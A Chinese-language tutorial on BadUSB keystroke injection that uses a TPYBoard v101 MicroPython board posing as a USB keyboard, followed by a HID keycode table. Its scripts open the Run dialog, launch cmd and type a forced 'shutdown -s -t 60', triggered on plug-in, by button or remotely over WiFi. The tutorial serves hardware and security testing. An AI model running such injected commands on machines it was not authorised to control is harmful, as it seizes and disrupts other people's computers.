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本文以TPYBoardv101开发板为例讲解了利用micropython进行BadUSB的usb-HID设备测试的主要方法，使用mt7681模块进行了一个简单的实验，实现了手机摇控键盘输入的测试。

0x01引言

Micropython即运行在微控制器上的Python，只要你懂python3.x,就可以让你像使用arduino那样进行硬件开发。随着micropython的发布，已经有越来越多的人研究和利用其进行项目开发。本人也进行了一些研究，发现利用python进行操作确实很方便，很简单。目前支持micropython的开发板有很多，如pyboard、pyMagic、TPYBoard等。

  Pyboard

  Pymagic

TPYBoard

最近从网上搞了一块tpyboard V101（官网www.micropython.net.cn）进行了一下研究，特别是对其自身的USB-HID功能进行了测试，令人惊喜的是，你可以在仅懂python的情况下，进行HID攻击的姿态测试。具体TPYBoardv101的使用方法，请参见www.micropython.net.cn。

0x02
TPYBoardV101模拟键盘

该板子的使用方法入门，本文中略过，有兴趣的可以查看其网站http://www.micropython.net.cn/support_category.php?id=2。TPYBoardv101中，在进行键盘模拟时，每次发送了8个字符，只要搞清楚了这8个字符的含义，就能够进行HID模拟了。

键盘发送的8个字符：BYTE1 BYTE2 BYTE3 BYTE4 BYTE5 BYTE6 BYTE7 BYTE8。其中BYTE1用来实现功能键：

  1. BYTE1 --
  2. |--bit0: Left Control 按下时为1
  3. |--bit1: Left Shift按下时为1
  4. |--bit2: Left Alt按下时为1
  5. |--bit3: Left GUI按下时为1
  6. |--bit4: Right Control按下时为1
  7. |--bit5: Right Shift按下时为1
  8. |--bit6: Right Alt按下时为1
  9. |--bit7: Right GUI按下时为1

BYTE3到BYTE8是具体按键（见0x06附件），如：

按下left shift + a ，则发送 0x02,0x00,0x04,0x00,0x00,0x00,0x00,0x00。

这里以按下left GUI+R来具体讲解实现过程。

第一步：修改boot.py文件，代码如下：

  1. import machine
  2. import pyb
  3. #pyb.main('main.py') # main script to run after this one
  4. #pyb.usb_mode('CDC+MSC') # act as a serial and a storage device
  5. pyb.usb_mode('CDC+HID',hid=pyb.hid_keyboard)

第二步，修改main.py文件，代码如下：

  1. # main.py -- put your code here!
  2. hid=pyb.USB_HID()
  3. def release_key_once():
  4.     buf = bytearray(8) # report is 8 bytes long
  5.     buf[2] = 0
  6.     hid.send(buf) # key released
  7.     pyb.delay(10)
  8. def press_key_once(key):
  9.     buf = bytearray(8) # report is 8 bytes long
  10.     buf[2] = key
  11.     hid.send(buf) # key released
  12.     pyb.delay(10)
  13. def press_2key(key1,key2):
  14.     buf = bytearray(8) # report is 8 bytes long
  15.     buf[0] = key1
  16.     buf[2] = key2
  17.     hid.send(buf) # key released
  18.     pyb.delay(10)
  19. def release_2key():
  20.     buf = bytearray(8) # report is 8 bytes long
  21.     buf[0] = 0
  22.     buf[2] = 0
  23.     hid.send(buf) # key released
  24.     pyb.delay(10)
  25.  
  26. pyb.delay(1000) #开始加入1秒延时
  27. press_2key(0x08,0x15)#具体键值见附录部分
  28. release_2key() 

第三步，安全退出TPYBoardv101，然后按一下RST键，可以看到一秒后“运行”窗口弹出。

0x03 简单的HID测试

测试打开“运行”窗口，输入cmd，然后弹出cmd后，输入shutdown -s -t 60 ,即60秒后自动关机。

Main.py的代码如下：

  1. # main.py -- put your code here!
  2. hid=pyb.USB_HID()
  3. def release_key_once():
  4.     buf = bytearray(8) # report is 8 bytes long
  5.     buf[2] = 0
  6.     hid.send(buf) # key released
  7.     pyb.delay(10)
  8. def press_key_once(key):
  9.     buf = bytearray(8) # report is 8 bytes long
  10.     buf[2] = key
  11.     hid.send(buf) # key released
  12.     pyb.delay(10)
  13. def press_2key(key1,key2):
  14.     buf = bytearray(8) # report is 8 bytes long
  15.     buf[0] = key1
  16.     buf[2] = key2
  17.     hid.send(buf) # key released
  18.     pyb.delay(10)
  19. def release_2key():
  20.     buf = bytearray(8) # report is 8 bytes long
  21.     buf[0] = 0
  22.     buf[2] = 0
  23.     hid.send(buf) # key released
  24.     pyb.delay(10)
  25.  
  26. pyb.delay(1000) #开始加入1秒延时
  27. press_2key(0x08,0x15)#具体键值见附录部分
  28. release_2key()
  29. pyb.delay(100)
  30. a=[0x06,0x10,0x07,0x28] #cmd+enter
  31. for i in a:
  32.     press_key_once(i)
  33.     release_key_once()
  34. pyb.delay(1000)
  35. #shutdown -s -t 60 + enter
  36. a=[0x16,0x0b,0x18,0x17,0x07,0x12,0x1a,0x11,0x2c,0x2d,0x16,0x2c,0x2d,0x17,0x2c,0x23,0x27,0x28]
  37. for i in a:
  38.     press_key_once(i)
  39.     release_key_once()
  40. pyb.delay(1000)

程序运行的效果是：当开发板插入电脑后，会首先弹出“运行”窗口，然后在该窗口里输入cmd，此时弹出cmd，并在其中输入shutdown -s -t 60和回车，然后电脑在1分钟后关机。

0x04 DIY一键关机

TPYBoardv101带着一个usr按键，可以利用这个按键来制作一键关机功能。当板子程序运行后，按下usr按键，产生中断，led3闪一下，进行关机操作。具体代码如下：

  1. # main.py -- put your code here!
  2. import pyb
  3. FLAG=0 #flag标记，当为1时，关机
  4.  
  5. def release_key_once():
  6.     buf = bytearray(8) # report is 8 bytes long
  7.     buf[2] = 0
  8.     hid.send(buf) # key released
  9.     pyb.delay(10)
  10. def press_key_once(key):
  11.     buf = bytearray(8) # report is 8 bytes long
  12.     buf[2] = key
  13.     hid.send(buf) # key released
  14.     pyb.delay(10)
  15. def press_2key(key1,key2):
  16.     buf = bytearray(8) # report is 8 bytes long
  17.     buf[0] = key1
  18.     buf[2] = key2
  19.     hid.send(buf) # key released
  20.     pyb.delay(10)
  21. def release_2key():
  22.     buf = bytearray(8) # report is 8 bytes long
  23.     buf[0] = 0
  24.     buf[2] = 0
  25.     hid.send(buf) # key released
  26.     pyb.delay(10)
  27.  
  28. def shutdownpc():
  29.     global FLAG
  30.     pyb.LED(3).on()
  31.     FLAG=1
  32.     pyb.delay(300)
  33.     pyb.LED(3).off()
  34.  
  35. hid=pyb.USB_HID()
  36. sw=pyb.Switch()
  37. sw.callback(shutdownpc)
  38. while(1): #led2闪烁表示板子已经正常工作
  39.     pyb.LED(2).toggle()
  40.     pyb.delay(300)
  41.     print(FLAG)
  42.     if FLAG==1:
  43.         pyb.delay(1000) #开始加入1秒延时
  44.         press_2key(0x08,0x15)#具体键值见附录部分
  45.         release_2key()
  46.         pyb.delay(100)
  47.         a=[0x06,0x10,0x07,0x28] #cmd+enter
  48.         for i in a:
  49.             press_key_once(i)
  50.             release_key_once()
  51.         pyb.delay(1000)
  52.         #shutdown -s -t 60 + enter
  53.         a=[0x16,0x0b,0x18,0x17,0x07,0x12,0x1a,0x11,0x2c,0x2d,0x16,0x2c,0x2d,0x17,0x2c,0x23,0x27,0x28]
  54.         for i in a:
  55.             press_key_once(i)
  56.             release_key_once()
  57.         pyb.delay(1000)
  58.         FLAG=0

视频演示：

0x05 用手机摇控键盘输入

这个实验中，我使用了MT7681wifi模块，该模块可以直接进行串口透传。将MT7681与TPYBoardv101进行连接，接线示意图，见下图。这里用的是TPYBoardv101的UART3，串口波特率115200。具体代码如下：

  1. # main.py -- put your code here!
  2. import pyb
  3. FLAG=0
  4.  
  5. def release_key_once():
  6.     buf = bytearray(8) # report is 8 bytes long
  7.     buf[2] = 0
  8.     hid.send(buf) # key released
  9.     pyb.delay(10)
  10. def press_key_once(key):
  11.     buf = bytearray(8) # report is 8 bytes long
  12.     buf[2] = key
  13.     hid.send(buf) # key released
  14.     pyb.delay(10)
  15. def press_2key(key1,key2):
  16.     buf = bytearray(8) # report is 8 bytes long
  17.     buf[0] = key1
  18.     buf[2] = key2
  19.     hid.send(buf) # key released
  20.     pyb.delay(10)
  21. def release_2key():
  22.     buf = bytearray(8) # report is 8 bytes long
  23.     buf[0] = 0
  24.     buf[2] = 0
  25.     hid.send(buf) # key released
  26.     pyb.delay(10)
  27.  
  28. def shutdownpc():
  29.     global FLAG
  30.     pyb.LED(3).on()
  31.     FLAG=1
  32.     pyb.delay(1000)
  33.     pyb.LED(3).off()
  34. def getchars():
  35.     global FLAG
  36.     pyb.LED(3).on()
  37.     FLAG=2
  38.     pyb.delay(1000)
  39.     pyb.LED(3).off()
  40. hid=pyb.USB_HID()
  41. sw=pyb.Switch()
  42. sw.callback(shutdownpc)
  43.  
  44. u1=pyb.UART(3,115200)
  45. u1.init(115200, bits=8, parity=None, stop=1)
  46. u1.write('Hello world!')
  47. buf=''
  48. #print(buf)
  49. while(1): #led2闪烁表示板子已经正常工作
  50.  
  51.     buf=u1.readline()
  52.     print(buf)
  53.     if buf==b's':
  54.         getchars()
  55.     pyb.LED(2).toggle()
  56.     pyb.delay(1300)
  57.  
  58.     print(FLAG)
  59.     if FLAG==1:
  60.         pyb.delay(1000) #开始加入1秒延时
  61.         press_2key(0x08,0x15)#具体键值见附录部分
  62.         release_2key()
  63.         pyb.delay(100)
  64.         a=[0x06,0x10,0x07,0x28] #cmd+enter
  65.         for i in a:
  66.             press_key_once(i)
  67.             release_key_once()
  68.         pyb.delay(1000)
  69.         #shutdown -s -t 60 + enter
  70.         a=[0x16,0x0b,0x18,0x17,0x07,0x12,0x1a,0x11,0x2c,0x2d,0x16,0x2c,0x2d,0x17,0x2c,0x23,0x27,0x28]
  71.         for i in a:
  72.             press_key_once(i)
  73.             release_key_once()
  74.         pyb.delay(1000)
  75.         FLAG=0
  76.     if FLAG==2:
  77.         pyb.delay(1000) #开始加入1秒延时
  78.         press_2key(0x08,0x15)#具体键值见附录部分
  79.         release_2key()
  80.         pyb.delay(100)
  81.         a=[0x11,0x12,0x17,0x08,0x13,0x04,0x07,0x28] #notepad+enter
  82.         for i in a:
  83.             press_key_once(i)
  84.             release_key_once()
  85.         pyb.delay(1000)
  86.         FLAG=0

到这一步，可以看到，手机就像一个摇控键盘一样，可以直接来控制键盘了。只需要在程序中再丰富一下，就可以做个很不错的手机键盘出来。同时，因为可以通过串口返回数据，所以可以在电脑端写个上位机，这样就可以把电脑操作的返回值返回回来。具体的扩展功能大家自己想吧，就只说到这里了。

视频演示：

0x06附件

micropython的主要键值如下：

  1. #define KEY_NONE                               0x00
  2. #define KEY_ERRORROLLOVER                      0x01
  3. #define KEY_POSTFAIL                           0x02
  4. #define KEY_ERRORUNDEFINED                     0x03
  5. #define KEY_A                                  0x04
  6. #define KEY_B                                  0x05
  7. #define KEY_C                                  0x06
  8. #define KEY_D                                  0x07
  9. #define KEY_E                                  0x08
  10. #define KEY_F                                  0x09
  11. #define KEY_G                                  0x0A
  12. #define KEY_H                                  0x0B
  13. #define KEY_I                                  0x0C
  14. #define KEY_J                                  0x0D
  15. #define KEY_K                                  0x0E
  16. #define KEY_L                                  0x0F
  17. #define KEY_M                                  0x10
  18. #define KEY_N                                  0x11
  19. #define KEY_O                                  0x12
  20. #define KEY_P                                  0x13
  21. #define KEY_Q                                  0x14
  22. #define KEY_R                                  0x15
  23. #define KEY_S                                  0x16
  24. #define KEY_T                                  0x17
  25. #define KEY_U                                  0x18
  26. #define KEY_V                                  0x19
  27. #define KEY_W                                  0x1A
  28. #define KEY_X                                  0x1B
  29. #define KEY_Y                                  0x1C
  30. #define KEY_Z                                  0x1D
  31. #define KEY_1_EXCLAMATION_MARK                 0x1E
  32. #define KEY_2_AT                               0x1F
  33. #define KEY_3_NUMBER_SIGN                      0x20
  34. #define KEY_4_DOLLAR                           0x21
  35. #define KEY_5_PERCENT                          0x22
  36. #define KEY_6_CARET                            0x23
  37. #define KEY_7_AMPERSAND                        0x24
  38. #define KEY_8_ASTERISK                         0x25
  39. #define KEY_9_OPARENTHESIS                     0x26
  40. #define KEY_0_CPARENTHESIS                     0x27
  41. #define KEY_ENTER                              0x28
  42. #define KEY_ESCAPE                             0x29
  43. #define KEY_BACKSPACE                          0x2A
  44. #define KEY_TAB                                0x2B
  45. #define KEY_SPACEBAR                           0x2C
  46. #define KEY_MINUS_UNDERSCORE                   0x2D
  47. #define KEY_EQUAL_PLUS                         0x2E
  48. #define KEY_OBRACKET_AND_OBRACE                0x2F
  49. #define KEY_CBRACKET_AND_CBRACE                0x30
  50. #define KEY_BACKSLASH_VERTICAL_BAR             0x31
  51. #define KEY_NONUS_NUMBER_SIGN_TILDE            0x32
  52. #define KEY_SEMICOLON_COLON                    0x33
  53. #define KEY_SINGLE_AND_DOUBLE_QUOTE            0x34
  54. #define KEY_GRAVE ACCENT AND TILDE             0x35
  55. #define KEY_COMMA_AND_LESS                     0x36
  56. #define KEY_DOT_GREATER                        0x37
  57. #define KEY_SLASH_QUESTION                     0x38
  58. #define KEY_CAPS LOCK                          0x39
  59. #define KEY_F1                                 0x3A
  60. #define KEY_F2                                 0x3B
  61. #define KEY_F3                                 0x3C
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  65. #define KEY_F7                                 0x40
  66. #define KEY_F8                                 0x41
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  70. #define KEY_F12                                0x45
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  73. #define KEY_PAUSE                              0x48
  74. #define KEY_INSERT                             0x49
  75. #define KEY_HOME                               0x4A
  76. #define KEY_PAGEUP                             0x4B
  77. #define KEY_DELETE                             0x4C
  78. #define KEY_END1                               0x4D
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  80. #define KEY_RIGHTARROW                         0x4F
  81. #define KEY_LEFTARROW                          0x50
  82. #define KEY_DOWNARROW                          0x51
  83. #define KEY_UPARROW                            0x52
  84. #define KEY_KEYPAD_NUM_LOCK_AND_CLEAR          0x53
  85. #define KEY_KEYPAD_SLASH                       0x54
  86. #define KEY_KEYPAD_ASTERIKS                    0x55
  87. #define KEY_KEYPAD_MINUS                       0x56
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  89. #define KEY_KEYPAD_ENTER                       0x58
  90. #define KEY_KEYPAD_1_END                       0x59
  91. #define KEY_KEYPAD_2_DOWN_ARROW                0x5A
  92. #define KEY_KEYPAD_3_PAGEDN                    0x5B
  93. #define KEY_KEYPAD_4_LEFT_ARROW                0x5C
  94. #define KEY_KEYPAD_5                           0x5D
  95. #define KEY_KEYPAD_6_RIGHT_ARROW               0x5E
  96. #define KEY_KEYPAD_7_HOME                      0x5F
  97. #define KEY_KEYPAD_8_UP_ARROW                  0x60
  98. #define KEY_KEYPAD_9_PAGEUP                    0x61
  99. #define KEY_KEYPAD_0_INSERT                    0x62
  100. #define KEY_KEYPAD_DECIMAL_SEPARATOR_DELETE    0x63
  101. #define KEY_NONUS_BACK_SLASH_VERTICAL_BAR      0x64
  102. #define KEY_APPLICATION                        0x65
  103. #define KEY_POWER                              0x66
  104. #define KEY_KEYPAD_EQUAL                       0x67
  105. #define KEY_F13                                0x68
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  118. #define KEY_HELP                               0x75
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  121. #define KEY_STOP                               0x78
  122. #define KEY_AGAIN                              0x79
  123. #define KEY_UNDO                               0x7A
  124. #define KEY_CUT                                0x7B
  125. #define KEY_COPY                               0x7C
  126. #define KEY_PASTE                              0x7D
  127. #define KEY_FIND                               0x7E
  128. #define KEY_MUTE                               0x7F
  129. #define KEY_VOLUME_UP                          0x80
  130. #define KEY_VOLUME_DOWN                        0x81
  131. #define KEY_LOCKING_CAPS_LOCK                  0x82
  132. #define KEY_LOCKING_NUM_LOCK                   0x83
  133. #define KEY_LOCKING_SCROLL_LOCK                0x84
  134. #define KEY_KEYPAD_COMMA                       0x85
  135. #define KEY_KEYPAD_EQUAL_SIGN                  0x86
  136. #define KEY_INTERNATIONAL1                     0x87
  137. #define KEY_INTERNATIONAL2                     0x88
  138. #define KEY_INTERNATIONAL3                     0x89
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  140. #define KEY_INTERNATIONAL5                     0x8B
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  155. #define KEY_SYSREQ                             0x9A
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  157. #define KEY_CLEAR                              0x9C
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  159. #define KEY_RETURN                             0x9E
  160. #define KEY_SEPARATOR                          0x9F
  161. #define KEY_OUT                                0xA0
  162. #define KEY_OPER                               0xA1
  163. #define KEY_CLEAR_AGAIN                        0xA2
  164. #define KEY_CRSEL                              0xA3
  165. #define KEY_EXSEL                              0xA4
  166. #define KEY_KEYPAD_00                          0xB0
  167. #define KEY_KEYPAD_000                         0xB1
  168. #define KEY_THOUSANDS_SEPARATOR                0xB2
  169. #define KEY_DECIMAL_SEPARATOR                  0xB3
  170. #define KEY_CURRENCY_UNIT                      0xB4
  171. #define KEY_CURRENCY_SUB_UNIT                  0xB5
  172. #define KEY_KEYPAD_OPARENTHESIS                0xB6
  173. #define KEY_KEYPAD_CPARENTHESIS                0xB7
  174. #define KEY_KEYPAD_OBRACE                      0xB8
  175. #define KEY_KEYPAD_CBRACE                      0xB9
  176. #define KEY_KEYPAD_TAB                         0xBA
  177. #define KEY_KEYPAD_BACKSPACE                   0xBB
  178. #define KEY_KEYPAD_A                           0xBC
  179. #define KEY_KEYPAD_B                           0xBD
  180. #define KEY_KEYPAD_C                           0xBE
  181. #define KEY_KEYPAD_D                           0xBF
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  192. #define KEY_KEYPAD_LOGIACL_OR                  0xCA
  193. #define KEY_KEYPAD_COLON                       0xCB
  194. #define KEY_KEYPAD_NUMBER_SIGN                 0xCC
  195. #define KEY_KEYPAD_SPACE                       0xCD
  196. #define KEY_KEYPAD_AT                          0xCE
  197. #define KEY_KEYPAD_EXCLAMATION_MARK            0xCF
  198. #define KEY_KEYPAD_MEMORY_STORE                0xD0
  199. #define KEY_KEYPAD_MEMORY_RECALL               0xD1
  200. #define KEY_KEYPAD_MEMORY_CLEAR                0xD2
  201. #define KEY_KEYPAD_MEMORY_ADD                  0xD3
  202. #define KEY_KEYPAD_MEMORY_SUBTRACT             0xD4
  203. #define KEY_KEYPAD_MEMORY_MULTIPLY             0xD5
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  207. #define KEY_KEYPAD_CLEAR_ENTRY                 0xD9
  208. #define KEY_KEYPAD_BINARY                      0xDA
  209. #define KEY_KEYPAD_OCTAL                       0xDB
  210. #define KEY_KEYPAD_DECIMAL                     0xDC
  211. #define KEY_KEYPAD_HEXADECIMAL                 0xDD
  212. #define KEY_LEFTCONTROL                        0xE0
  213. #define KEY_LEFTSHIFT                          0xE1
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  219. #define KEY_RIGHT_GUI                          0xE7

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